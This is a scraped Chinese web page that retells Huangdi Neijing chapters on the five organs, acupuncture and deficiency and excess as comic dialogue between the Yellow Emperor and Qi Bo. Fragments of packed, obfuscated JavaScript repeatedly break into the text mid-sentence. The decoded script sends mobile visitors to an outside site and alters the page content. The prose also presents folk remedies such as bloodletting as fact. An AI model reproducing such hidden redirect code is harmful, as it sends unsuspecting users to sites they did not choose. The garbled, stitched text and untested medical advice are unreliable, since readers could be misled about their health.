RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318161|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们有五脏的“时间表”，啥时候该养，啥时候该防，心里有数。先得摸清五脏的脉象，才能准确判断病情的好坏和转机。这不仅是门学问，更是咱们现代人养生的智慧宝典！ 咱们先从肝大哥开始聊起，这位老兄一不高兴，两肋下面就开始上演“疼痛大迁徙”，从腋下一直扯到小肚子，那酸爽，简直让人分分钟想变身“愤怒的小鸟”，一点就着，火气冲天。要是肝大哥虚了，那就更逗了，眼睛变得跟蒙了层纱似的，看啥都不清楚，耳朵也像是被按了静音键，外界的声音都进不来，还整天提心吊胆的，感觉随时有人要来抓他似的。这时候啊，咱们得给他来个“经络按摩”，重点照顾厥阴经和少阳经，要是气不顺，还得放点血，让头疼、耳聋、脸颊肿这些“小跟班”统统撤退！ 再来说说心小姐，她要是闹别扭了，那可真是个“心痛”的故事。胸口痛得跟针扎似的，胳膊底下也胀得慌，连带着后背、肩膀、胳膊内侧都跟着遭殃，疼起来简直没朋友。心小姐虚了，那就更夸张了，胸腹变得跟吹气球似的，腰和肋下还互相拉扯着疼，这时候，少阴经、太阳经得好好伺候着，再从舌头下放点血，帮她泄泄火，缓解一下这“心痛”的烦恼。 接下来是脾大爷，他老人家一不舒服，整个人就变得懒洋洋的，身体重得像背了座山，肌肉松软得跟似的，走路都费劲，还时不时抽个筋，脚底痛得跟踩了针一样。脾大爷虚了，肚子就开始咕噜咕噜叫，吃啥拉啥，消化能力直接归零。这时候，得给他来个“脾胃双补”套餐，太阴经、阳明经、少阴经都得照顾到，再放点血，让他老人家重新找回“吃货”的尊严。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 宣明五气篇第二十三 说起这中医里的五行与五脏六腑的奇妙关系，那可真是妙趣横生，比咱们平时追剧还上头呢！今天，咱们就来一场“中医版”的《五脏六腑奇遇记》，保证让你听得津津有味，还能顺便学点养生小知识。 首先，咱们得从“五味入五脏”开始聊起。想象一下，你吃下一颗酸溜溜的柠檬，哎哟，那酸爽直接通到肝里去了，给肝脏来了个清爽SPA；再尝口麻辣小龙虾，辛味瞬间钻进肺里，感觉肺部都打开了新世界的大门；苦咖啡呢，苦中带香，直击心灵深处，心火都被压了一压；至于咸鸭蛋，咸得恰到好处，肾宝宝表示很喜欢；而甜甜的奶茶，简直是脾的最爱，幸福感爆棚啊！这“五味入五脏”，简直就是一场味觉的奇幻漂流。 接着，咱们聊聊“五气所病”。心情不好时，心里就像有只小猫在“噫”个不停，那是心在诉苦呢；肺要是闹别扭了，咳嗽声就成了它的专属BGM；肝要是火了，可能就开启话痨模式，滔滔不绝；脾一犯懒，吃东西就吞吞吐吐，消化不良；肾宝宝要是欠伸打哈欠加喷嚏连连，那就是在提醒你：“我累了，该休息了！”胃要是气不顺，那可不是闹着玩的，打嗝、反胃、心慌慌；大肠小肠一闹别扭，拉肚子就成了家常便饭；膀胱要是堵了，嘿嘿，你懂的，那滋味可不好受；胆嘛，一旦怒了，整个人的气场都变得不一样，简直就是“愤怒的小鸟”上线。 再来说说“五精所并”，这就像是五个小朋友抢玩具，谁抢到了谁就开心。精气要是都跑心那儿去了，人就乐不可支；跑到肺里，就变得多愁善感；肝那儿呢，就是忧郁小王子；脾那里，则是胆小鬼上线；肾宝宝那里，恐惧感爆棚。这“五并”，说白了就是五脏精气不平衡了，得赶紧调调。 “五脏所恶”这块儿，简直就是五脏的“小脾气”集合。心怕热，得凉快点儿；肺怕冷，得保暖；肝怕风，得躲躲；脾怕湿，得干燥；肾怕燥，得滋润。这些小脾气，咱们都得顺着来，不然它们就要给你颜色瞧瞧了。 说到“五脏化液”，那可是五脏的“情绪表达”。心里一激动，汗就哗哗流；鼻子一酸，鼻涕就下来了；眼睛一红，泪水就止不住；嘴巴一馋，口水就泛滥；想事情想多了，唾沫星子都飞出来了。这五种液体，可都是五脏心情的晴雨表哦！ “五味所禁”这块儿，得悠着点吃。辛辣的东西吃多了，气儿就不顺了；咸味吃多了，血压都得跟着飙升；苦味过量，骨头都喊疼；甜食太多，体重就控制不住了；酸味过量，筋都跟着抽筋。所以啊，饮食得均衡，五味调和才是王道。 “五病所发”和“五邪所乱”，简直就是身体的“天气预报”。阴病爱挑骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话说啊，咱们这位老祖宗，可是个养生达人，对人体那是了如指掌。他说呀，每个人的身体都有它的“小脾气”，就像太阳、月亮一样有规律可循。比如说，太阳经吧，就像是咱们身体的“能量发电站”，血多气少，活力满满但又不失温婉；少阳经呢，就像是个调皮小子，气多血少，总爱蹦蹦跳跳，精力充沛得不得了；阳明经就更厉害了，气血双满，简直是身体的“超级英雄”，干啥都有劲儿。 反过来，少阴经就像是位含蓄的君子，血少气多，内敛而深沉；厥阴经呢，血多气少，温柔中带着点神秘感；至于太阴经，气多血少，就像个稳重的大哥，默默支撑着整个家族。这些啊，都是大自然的规律，咱们得顺应着来，才能身体健康，万事顺遂。 再来说说这身体的表里关系，就像是好朋友手拉手一样亲密无间。足太阳和足少阴，一对儿铁哥们儿，相互照应；少阳和厥阴，则是情投意合的搭档；阳明和太阴，那更是心有灵犀一点通。手部的阴阳经也是这么回事儿，太阳少阴、少阳心主、阳明太阴，三组CP，各司其职，共同维护着咱们身体的和谐稳定。 现在，咱们知道了这些阴阳经的“小秘密”，治病起来可就更有门道了。老祖宗说了，治病得先从血入手，把淤血、坏血清了，再对症下药，该泻的泻，该补的补，身体自然就舒坦了。 说到找穴位，那可是个技术活。想要精准定位背上的俞穴？没问题，咱们可以先量量两乳之间的距离，然后对折一下，再用根草棍儿量去一半，用这“草尺”在背上比划，让草棍儿的一头对准大椎骨，另外两头就自然而然地落在了肺俞、心俞、肝俞、脾俞、肾俞这些宝贝穴位上了。这方法，简单又实用，简直是古代版的“GPS”导航啊！ 接下来，咱们聊聊心情和身体的关系。您知道吗？心情和身体那可是紧密相连的。比如说，您要是整天乐呵呵的，但心里头藏着事儿，那病啊，就容易找上您的血管，这时候，灸一灸、刺一刺，疏通疏通血脉，准没错。又比如， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄帝心里那个急啊，就跟热锅上的蚂蚁似的，继续说道：“我呢，就想着能不能用我这套针灸大法，给大家伙儿除除病根，可咋整呢？” 这时候，岐伯大神悠悠然出场了，他捋了捋胡子，慢悠悠地说：“黄帝啊，你瞧瞧这盐，咸得能让容器里的水分都跑出来；琴弦要是断了，那声音就沙哑得不成样子；树木茂盛了，叶子自然绿油油地长。同样道理，人要是病入膏肓了，那声音都会变得跟打嗝似的，有气无力。这人啊，要是出现这三种情况，那就是身体里的‘小世界’彻底乱套了，这时候啊，再厉害的毒药也救不了，短针也扎不进去，因为它们都伤不到根本，反而可能让皮肉受苦，血气乱窜，脸色黑得像包公。” 黄帝一听，眉头皱得比山还高：“哎呀，我这心里头啊，一想到百姓们受病痛折磨，就乱得跟麻团似的，更别提我这瞎折腾还可能加重病情了，到时候老百姓不得骂我是个‘残忍暴君’啊？这可咋整？” 岐伯笑眯眯地安慰道：“黄帝啊，别急嘛，咱们人嘛，生于大地，命悬于天，天地之气一结合，才有了咱们这些活蹦乱跳的生命。要是咱们能顺应四季变化，那天地就是咱们的再生父母；要是能对万物了如指掌，那就是天生的王者风范了。你看这天有阴阳变化，咱们人有十二经脉与之对应；天有寒来暑往，咱们人有虚实体质来调节。要是有人能精通天地阴阳的奥秘，那他就永远不会错过四季的美好；如果能掌握十二经脉的奥秘，那他就是真正的智者，谁也骗不了他。再进一步，如果能洞察人体八风的变化，理解五行相克的道理，还能精准判断身体的虚实状况，那他就如同拥有了透视眼，再细微的变化都逃不过他的法眼。” “所以啊，黄帝，咱们要想用针灸治病救人，首先得自个儿成为那个‘透视眼’，不仅要精通医术，更要懂得人与自然的和谐共生之道。这样一来，你的针灸就不再是简单的扎针拔火罐了，而是成为了引导生命之河回归正轨的神圣仪式。到时候，百姓们不仅不会骂你，反而会把你当成救苦救难的活菩萨呢！” 黄帝听了岐伯这一番深入浅出的讲解，顿时豁然开朗，拍了拍大腿笑道：“哎呀，岐伯兄，你这一番话，真是让我醍醐灌顶啊！看来，我这针灸之术，还得多多学习天地之道，才能真正做到治病救人，造福苍生啊！” 黄帝一开腔，就整了个高大上的哲学题：“嘿，岐伯兄，你说这人生百态，归根结底，不就是阴阳那点事儿嘛！天地之间，气儿一合，分出了九州大地，四季轮回，月亮有圆有缺，日头时长时短，万物生长，多到数都数不清。这虚实变化，跟唱歌似的有节奏，我得问问你，这背后的门道是啥？” 岐伯一听，哈哈一笑，那气质，简直就是医学界的段子手：“黄帝兄，你这个问题有深度！来来来，听我慢慢道来。你想啊，木头遇到金属刀斧就得砍，火一碰到水就得灭，土呢，有了木头根系才能疏松透气，金属被火炼就会变形，水多了土就成了泥浆，啥都没了。这万物相生相克，道理都一样，无穷无尽，说不完呐！” “说到针灸这门手艺，我有五把悬壶济世的金钥匙，可惜啊，老百姓们天天吃饭，却不一定知道这些宝贝。第一把，是治神，得让患者心定神安；第二把，是养生之道，身体得会养； ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318164|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三把，是识药性，知道哪些药草是宝；第四把，是针石之术，大小针具得会用；第五把，是诊断术，得能摸清人体五脏六腑的血气状况。这五把钥匙在手，各有千秋，但用起来得看情况。” “现在的人啊，学针灸只知道个皮毛，体虚就补，体满就泄，这谁不会啊？但真正的高手，那得是顺应自然，天人合一，动起针来，就像影子跟着光，声音跟着响一样自然流畅。这医术啊，没鬼神帮忙，全靠咱们自己琢磨。” 黄帝一听，眼睛一亮：“哎呀，岐伯兄，快说说，这高深的针法到底怎么练？” 岐伯捋了捋胡子，慢悠悠地说：“针灸的真谛啊，首要就是治神，让患者心无杂念，五脏安定，九候脉象清晰，这时候再下针。下针前得仔细观察，脉象不乱，凶兆不显，内外和谐，别急着动手。等时机一到，那速度，比眨眼还快！手要稳得像老工匠做木工，针要亮得像夜空中最亮的星，心要静得像老僧入定，观察气血变化，那叫一个微妙。” “这针法啊，就像是在黑暗中捉萤火虫，明明看到有光点飞舞，却又摸不清具体是哪个。针下去的时候，得沉得住气，像拉满的弓，一触即发。起来的时候，又得像扳机一扣，干净利落。” 黄帝好奇地问：“那具体怎么判断虚实呢？” 岐伯笑得更深了：“虚实嘛，就像做菜调味，多了咸了少 了淡了都不行。刺虚的时候要让他感到充实，刺实的时候要让他感到轻松。经气一到，就得像守财奴守金子一样守着，别让它跑了。下针的深浅，距离的远近，都得心里有数，就像你站在悬崖边，手里还抱着只老虎，得集中精神，别分心去想别的。” “所以啊，黄帝兄，这针灸之道，不仅仅是技术活，更是心性的修炼。你得把心静下来，把神定住，才能体会到那微妙的变化，才能成为真正的医者。” 八正神明论篇第二十六 黄帝大佬和岐伯老师坐在院子里，一边啃着苹果，一边聊起了针灸的“黑科技”。 黄帝：“老岐啊，你这针灸手艺，是不是得看看黄历，挑个吉日才敢下手啊？” 岐伯笑着摇头晃脑：“陛下此言差矣，我这针灸啊，讲究的是‘天人合一’，得跟天上的星星月亮，还有四季的风雨雷电搞好关系才行。” 黄帝一脸好奇：“哦？快说说，怎么个搞好法？” 岐伯：“您看这天儿，要是阳光明媚，暖洋洋的，咱们身体里的血啊，就跟夏天的小溪似的，哗啦啦地流。这时候扎针，就像是给小溪开个小口，水流自然顺畅。可要是赶上寒冬腊月，冻得跟冰棍似的，血都冻成坨了，这时候扎针，得小心翼翼，别给整成‘冰上舞蹈’了。” “再瞅瞅那月亮，月初的时候，它像个小姑娘，羞答答地露出半边脸，咱们的血气也跟着清新脱俗起来。到了满月之夜，嘿，血气旺盛得跟吃了十全大补丸似的，肌肉都硬邦邦的。可要是月亮快‘下班’了，血气也跟着打烊，经络里空荡荡的，这时候啊，咱们就让它好好休息，别去打扰它的‘下班生活’。” 黄帝听得津津有味：“哈哈，原来针灸还有这么多讲究！那以后我得注意，天寒不扎针，免得成‘冰棍人’；天热不犹豫，趁热打铁才有效果；月初不放血，免得‘伤元气’；月满不补身，免得‘补过头’；月缺嘛，就让身体自个儿享受‘静谧时光’。” 岐伯点头笑道：“陛下英明！这就是咱们中医的智慧所在，顺应自然，调和气血，让身体与天地同呼吸，共命运。” 黄帝陛下突发奇想，抬头望了望满天繁星，转头就对着身边的岐伯大夫来了句：“老岐啊，你说这满天的星星，还有那‘八正’的玩意儿，到底是用来干啥的呢？是不是能预测今晚的夜宵是炸鸡还是烤串？”（此处纯属恶搞，皇帝当然不会这么问） 岐伯一听，微微一笑，那笑容里仿佛藏着整个宇宙的奥秘：“陛下，您这可就问到点子上了！这星辰啊，它们不仅仅是夜空中的装饰品，更是大自然最神秘的钟表匠，悄悄地调控着日月运行的节奏。而‘八正’呢，就像是自然界的八位风向标大师，它们能精准地捕捉到‘八风’中那些调皮捣蛋的虚邪之气，告诉咱们啥时候得防着点。” “哦？听起来挺玄乎的嘛！”皇帝来了兴趣，“那‘四时’又是怎么回事？是不是春夏秋冬这四个季节，也有它们的小九九？” 岐伯点头如捣蒜：“陛下英明！四时嘛，就是大自然妈妈给咱们划分的四个季节房间，每个房间都有它独特的温度和气息。咱们得根据季节的变化来调整自己的生活方式，就像是冬天穿棉袄，夏天吃西瓜一样，得应时而变，才能身体健康，百病不侵。” “至于那‘八正’里的虚邪之气，就像是自然界的小恶魔，专挑人虚弱的时候下手。要是咱们自己的身体也正好处于‘虚’的状态，那可就危险了，两股‘虚’劲儿一碰头，简直就像是打开了潘多拉的盒子，病气直接钻进骨头里，五脏六腑都得遭殃。”岐伯说到这里，还故意做了个夸张的表情，仿佛真的看到了那些小恶魔在作祟。 “那咋整？难道咱们就只能坐等被这些小恶魔欺负吗？”皇帝一听，眉头紧锁，显然对这情况颇为担忧。 岐伯摆摆手，一脸胸有成竹的样子：“陛下莫急，咱们中医讲究的就是‘治未病’，预防胜于治疗嘛！只要咱们平时注意调养身体，增强体质，遇到‘八正’之时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318165|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就提前做好准备，避开那些虚邪之气，自然就能保得平安无事了。就像是出门前看看天气预报，知道要下雨了就带把伞，一个道理嘛！” “哈哈，原来如此！老岐啊，你这一番话，真是让朕受益匪浅啊！”皇帝听后，龙颜大悦，“以后咱们得把这天上的学问也纳入皇家必修课程，让大伙儿都学学怎么和星辰对话，怎么跟四季做朋友！” 岐伯也是笑而不语，心中暗自得意：看来，这古老的智慧，无论在哪个时代，都能绽放出耀眼的光芒啊！ 黄帝大人又问岐伯：“老岐啊，你说咱们得遵循星辰运行的规律来治病，这个我听说了，挺玄乎的。但我还想听听，怎么从古人的智慧里找方法呢？” 岐伯一听，捋了捋他那飘逸的胡须，慢悠悠地说：“陛下，要想法往古，先得啃透那本《针经》啊，那可是咱们中医界的宝典，祖传的秘籍。不过，光啃书还不够，你还得学会观察，比如看看这天气是冷是热，月亮是圆是缺，这些都能告诉你自然界的‘气’是浮还是沉。然后，咱们再根据这些变化，调整咱们身体的小宇宙，保证你一试就灵，效果立竿见影！” 黄帝一听，眼睛亮了：“哟呵，这么神奇？那‘观其冥冥’又是啥意思？听起来挺神秘的。” 岐伯笑了：“这‘观其冥冥’，说的就是那种看不见摸不着，但咱们中医高手心里门儿清的事儿。就像你身体里的气血运行，有时候它不直接表现在脸上或手上，但咱们医生就能通过感受天气的冷暖、月亮的盈亏，还有四季气的变化，综合起来判断，提前给你调理好。这就像侦探破案，线索都在细节里，咱们得用心去感受，去琢磨。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 离合真邪论篇第二十七 黄帝眨巴着大眼睛问岐伯老师：“嘿，我听说有个九针大法，分成了九篇宝典，您老人家灵机一动，居然给这九篇来了个九九乘法表，整出八十一篇来！我呢，也是个爱学习的好孩子，这些个秘籍我都啃得透透的了。书里说，身体里的气啊，它有时候强盛，有时候虚弱，还会在左边右边乱跑，咱们就得用上面的来调下面的，左边的来调右边的，哪里多了就减减，哪里少了就补补，这些个门道，我都门儿清。但这都是气血自己在体内玩的小把戏，不是外头的邪气闯进来捣乱。我就纳闷了，要是那邪气真的溜进经络里了，病人会咋样？咱们又该怎么对付它呢？” 岐伯老师一听，笑眯眯地开启了学霸模式：“哎呀，咱们老祖宗的智慧啊，那可是跟天地同呼吸共命运的。你看那天上有星星排列成宿度，地上有江河奔流不息，咱们人身上呢，就有这神奇的经脉网络。天气暖和，河水就悠悠流淌；天气一冷，河水就冻得跟冰棍似的；到了夏天，热得河水都沸腾起来；突然刮起大风，河水还会翻起层层波浪。这邪气啊，它要是溜进咱们的血脉里，也是这么个理儿。冷了就让血冻成冰棍，热了就让气变得跟泥鳅一样滑溜，这时候，那些不正之风就趁机而入，就像河水被风吹起了波浪。咱们摸脉搏的时候，也能感觉到那股子不安分的劲儿，时强时弱，强的时候就是邪气来了，弱的时候就稍微消停点。它啊，在身体里到处乱窜，阴阳两界随意切换，没个固定路线，所以咱们得用三部九候的法子，时刻准备着，一逮到它就给它来个‘拦路虎’！” 黄帝听得津津有味，连忙追问：“那要是遇到正气不足的情况，咱们又该怎么补呢？” 岐伯老师慢悠悠地继续说：“补啊，那可是个技术活。首先，你得像侦探一样，沿着经络轻轻摸索，感受它的起伏变化，然后用手法引导，就像是给气血做SPA一样，揉揉按按，弹弹拨拨，还要像抓娃娃机一样，精准地把那股子正气引导出来。门儿得开好，别让神气跑了。接着，趁病人呼气的时候，悄悄地把针扎进去，然后静静地等待，就像钓鱼一样，耐心等待鱼儿上钩，也就是气感到来。别急着收网，得等鱼儿完全入套，再慢慢提竿。等到病人吸气的时候，轻轻转动针尖，引导气更顺畅地流动。最后，在呼气快完的时候，稳稳地拔出针来，这时候啊，就像是打开了阀门，让那股子正气稳稳当当地留在体内，这就叫补！” 黄帝听完，一拍大腿：“高！实在是高！老师您这手法，简直就是古代版的‘气血调理大师’啊！以后咱们治病救人，可就多了这么多绝招儿了！” 岐伯老师笑得合不拢嘴：“哈哈，咱们这可是老祖宗留下的宝贵财富，得好好传承下去。不过啊，记得，医术再高，也得心怀慈悲，对待每一个病人都要像对待自己的亲人一样，这样，咱们的技术才能真正发光发热，造福苍生！” 这黄帝老兄又开始向岐伯大神发问了，他一脸好奇地问：“哎，岐伯啊，咱们这中医里说的‘候气’到底是个啥门道呢？” 岐伯一听，微微一笑，那笑容里仿佛藏着千年的智慧，他缓缓道来：“黄帝啊，这邪气啊，它可狡猾了，先是悄悄溜出络脉，然后大摇大摆地闯进经脉里头，最后就躲在我们身体的血脉深处安了家。这时候啊，体内的寒气和温气还没能和谐共处，就像湖面上突然涌起的波浪，时隐时现，捉摸不定。所以啊，咱们得在邪气刚露头的时候，就像按下一颗即将弹出的弹簧，迅速而精准地给它来个‘温柔一按’，等它安稳下来再动手收拾它，切记别在它气势汹汹的时候硬碰硬，直接开闸放水似的泻它一气，那可就坏了大事儿了。” “你知道吗？这‘真气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人，只会像用锤子敲木头一样，瞎忙活一场，最后还纳闷为啥没响呢！” 黄帝听完，哈哈大笑，拍着大腿说：“岐伯啊岐伯，你这比喻真是绝了！以后咱们中医界的后辈们，要是都能像你这样，把复杂的医理讲得这么生动有趣，那学中医的人怕是要挤破门槛喽！” 通评虚实论篇第二十八 黄帝这家伙，一天到晚闲着没事就爱找岐伯聊天，这不，他又抛出一个高深莫测的问题来考岐伯了：“嘿，老岐啊，咱俩来聊聊，啥是身体的‘虚实’啊？” 岐伯一听，心里那个乐啊，这题简单，张口就来：“哎呀，陛下您问得好！这虚实啊，说白了就是身体里那股子劲儿的事儿。邪气要是猖狂了，跟打了鸡血似的，那就是实；反过来，咱们的正气、精气要是被耗得差不多了，那就是虚。” 黄帝一听，觉得挺有意思，继续追问：“那具体点儿说呢？虚实到底怎么个表现法？” 岐伯捋了捋胡子，慢悠悠地说：“您看啊，要是气虚了，多半就是肺在喊救命呢，肺是管呼吸的，它一虚，人就觉得气短，没劲儿。再比如说，气不顺了，跑到脚上去捣乱，那脚就得遭殃，冻得跟冰棍似的。还有啊，这虚实还得看时候，不是时候发病可能还能缓一缓，赶上那倒霉的时候，嘿，可就悬了。其他脏腑也是这个理儿，都得小心伺候着。” 黄帝一听，乐了：“嘿，你这解释还挺接地气。那咱再聊聊‘重实’是啥玩意儿？” 岐伯一本正经地说：“这重实啊，可不是闹着玩的，就是那种热得跟火炉似的病，全身气都烧得旺，脉也跳得跟打鼓一样，满满当当的，这就是重实。得了这病，可得小心应对。” 黄帝一听，眉头一皱：“那如果全身经络都实了，咋整？有啥好办法治不？” 岐伯笑了笑，说：“经络都实啊，那脉象上就有讲究了，寸脉会跳得急，尺脉反而显得慢。这时候啊，就得全面治疗，不能拖。就像咱们开车，路滑（滑脉）的时候就顺着走，路涩（涩脉）的时候就得小心别逆行。治疗虚实，也得从根本上下手，顺着身体的性子来，让五脏六腑、筋骨皮肉都顺畅起来，这样才能长长久久，健康无忧嘛。” 想象一下，黄帝和岐伯不是坐在古色古香的宫殿里，而是坐在一家充满科技感的咖啡馆里，桌上摆着两杯冒着热气的拿铁。黄帝滑动着平板，问岐伯：“嘿，老岐，现在人总说什么亚健康，体虚体实的，你给咱科普科普？” 岐伯放下手中的养生茶，微微一笑：“哎呀，陛下您这是与时俱进啊。现在人说的亚健康，其实就是身体里的正气和邪气在打架，谁赢了谁就说了算。正气赢了，人就精神；邪气占了上风，那就是虚了。至于重实嘛，就像是身体突然开了挂，各种热量爆棚，但这不是好事，得赶紧降温调理。” 黄帝点头：“那经络都堵了怎么办？有没有什么快速疏通大法？” 岐伯笑得更欢了：“哈哈，快速疏通大法？当然有啦！现代科技不是发达嘛，针灸、拔罐、按摩，再加上合理的饮食和运动，内外兼修，经络自然就通了。不过啊，最重要的还是心态要好，别给自己太大压力，心宽体胖嘛，有时候心态好了，病也就跑了。” 黄帝这次先开口了，他眉头微皱，像是遇到了什么难题：“老岐啊，你说这络脉里的气不足，但经脉里的气却多得用不完，这是个啥情况？人会不会因此变成‘气球人’啊？”黄帝这一问，逗得旁边的侍从都憋笑呢。 岐伯一听，哈哈一笑，那笑容里透着股子智慧的光芒：“黄帝兄，你这想象力真是丰富！其实啊，络气不足，经气有余，简单来说，就是咱们身体里的那些小分支（ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318167|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 络脉）能量不够，但主干道（经脉）却拥堵得厉害。这时候，你摸摸手腕的脉搏位置（脉口），会觉得热乎乎的，因为气血都往那儿挤了；再摸摸脚踝附近（尺部），嘿，凉飕飕的，因为气血没咋过去。这病啊，秋冬时节犯了就比较麻烦，算是‘逆’了自然之道；要是春夏季节呢，还算顺应天时，治疗起来就得抓住主要问题，别被表象迷惑了。” 黄帝一听，眼睛一亮：“原来如此，那反过来呢？经脉空虚，络脉却满满当当的，这又咋整？” 岐伯捋了捋胡须，继续说道：“经脉空虚，络脉满盈，那就反过来了。这时候，脚踝那块儿（尺部）热得跟小火炉似的，还鼓鼓的，说明气血都往那儿跑了；而手腕的脉搏呢，就显得冷清又涩滞了。这种情况啊，春夏两季可得小心了，一不小心可能就‘挂’了；但到了秋冬，反而能缓口气，有了生机。治疗嘛，就得讲究个‘平衡之道’——络满经虚的，咱们就灸灸脚上的阴经穴位，刺激阳气下行；经满络虚的，则反过来，刺手上的阳经穴位，引导气血回流。” 黄帝听得津津有味，又抛出一个难题：“那啥是‘重虚’呢？听起来好严重的样子。” 岐伯收敛了笑容，认真解释起来：“重虚啊，就是脉气虚弱加上尺部也虚，这就好比一个国家的国库空虚，边防也松懈了，内忧外患一起上，能不严重吗？具体表现就是，脉摸起来没劲儿，尺部也软绵绵的，走路都像踩在棉花上，飘飘忽忽的。这样的病人啊，如果脉象还算滑利，说明还有点生机，能救；要是脉象涩滞不前，那就危险了，得赶紧想办法。” 这章没有结束，请点击下一页继续阅读！ 太阴阳明论篇第二十九 黄帝有一天闲来无事，就向他的首席健康顾问岐伯发起了灵魂拷问：“老岐啊，你说这太阴阳明，一阴一阳，互为表里，还都是脾胃的脉象，怎么它们一闹病就各玩各的，不按套路出牌呢？”岐伯一听，这话题有意思，便捋了捋胡子，慢悠悠地说：“陛下，这事儿啊，得从阴阳的性子和它们爱好的地盘儿说起。阴阳俩兄弟，性格迥异，一个外向活泼，一个内敛深沉，它们还经常换着班儿地虚虚实实，你追我赶的，有时候还互相较劲，所以啊，生起病来自然也就不一样了，名字也就五花八门了。” 黄帝一听，来了兴趣，赶紧追问：“那你快给我讲讲，它们生病的时候都有哪些不一样的小癖好吧！”岐伯笑着点头，开始了他的科普小课堂：“您看，阳呢，就像是那天空的太阳，主外，光芒万丈，活力四射；而阴呢，就像是大地，沉稳内敛，藏着丰富的资源和秘密。所以呢，阳道一但出了问题，多是实症，像是吃了火药一样；阴道呢，就容易虚，像是被掏空的小钱包。这时候，如果吹到了贼风，或是被虚邪盯上了，阳就首当其冲；但要是吃喝不讲究，作息没规律，那阴就得默默承受了。” 黄帝听得津津有味，岐伯接着往下说：“阳这家伙要是被外邪入侵了，它就带着邪气一路狂奔，直奔六腑而去，六腑呢，就像是家里的客厅，人来人往的，热闹得很，这一闹腾，人就容易发热，晚上睡不着，还可能喘得跟拉风箱似的。而阴要是被内伤了，比如吃多了不该吃的，熬夜熬多了，那邪气就悄悄溜进五脏，五脏就像是家里的卧室，私密又重要，这一折腾，胃就堵得慌，吃不下饭，肚子还可能咕咕叫，拉个肚子啥的，时间长了，还可能得上慢性肠炎，那叫一个难受啊！” 黄帝听到这里，忍不住插话：“这喉咙和咽喉，是不是也分阴阳啊？”岐伯点头如捣蒜：“陛下英明，喉主天气，就像是家里的阳台，直通外界，所以容易受风的影响；咽呢，就像是从阳台走进卧室的走廊，主地气，容易积聚湿气。所以啊，阳容易受风邪侵扰，阴则容易被湿气缠上。” 接着，岐伯又讲起了阴阳之气在人体内的奇妙旅行：“阴气啊，它就像是个慢条斯理的旅行家，从脚底开始，慢悠悠地往头上爬，然后又掉头往下，沿着手臂溜到指尖；而阳气呢，正好相反，它从手上出发，一路向上冲锋，直达头顶，然后又一路向下，直到脚底。这就像是一场永不落幕的接力赛，只不过它们跑的方向不同罢了。” 黄帝听得哈哈大笑：“这阴阳之气还真是会玩儿啊！那它们生病的时候，是不是也会沿着这个路线跑呢？”岐伯点头：“陛下所言极是，阳病的时候，就像是爬山爬到顶了，没力气再往上，只好掉头往下；而阴病呢，就像是潜水潜到底了，憋不住了，只好往上冒。所以，被风邪伤到的，大多是上半身先有感觉；而被湿气困住的，则往往是下半身先遭殃。” 黄帝陛下一脸好奇地问：“你说这人啊，要是脾出了毛病，为啥四肢就跟瘫痪了似的，动都不爱动呢？这背后有啥玄机不成？” 岐伯一听，心里头那个乐啊，心想陛下这求知欲还真是旺盛，于是他笑眯眯地解释道：“陛下您有所不知，咱们这四肢啊，就像是四个勤劳的小助手，它们干起活来虽然不含糊，但背后的‘能量站’可都得靠胃大爷来供应。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 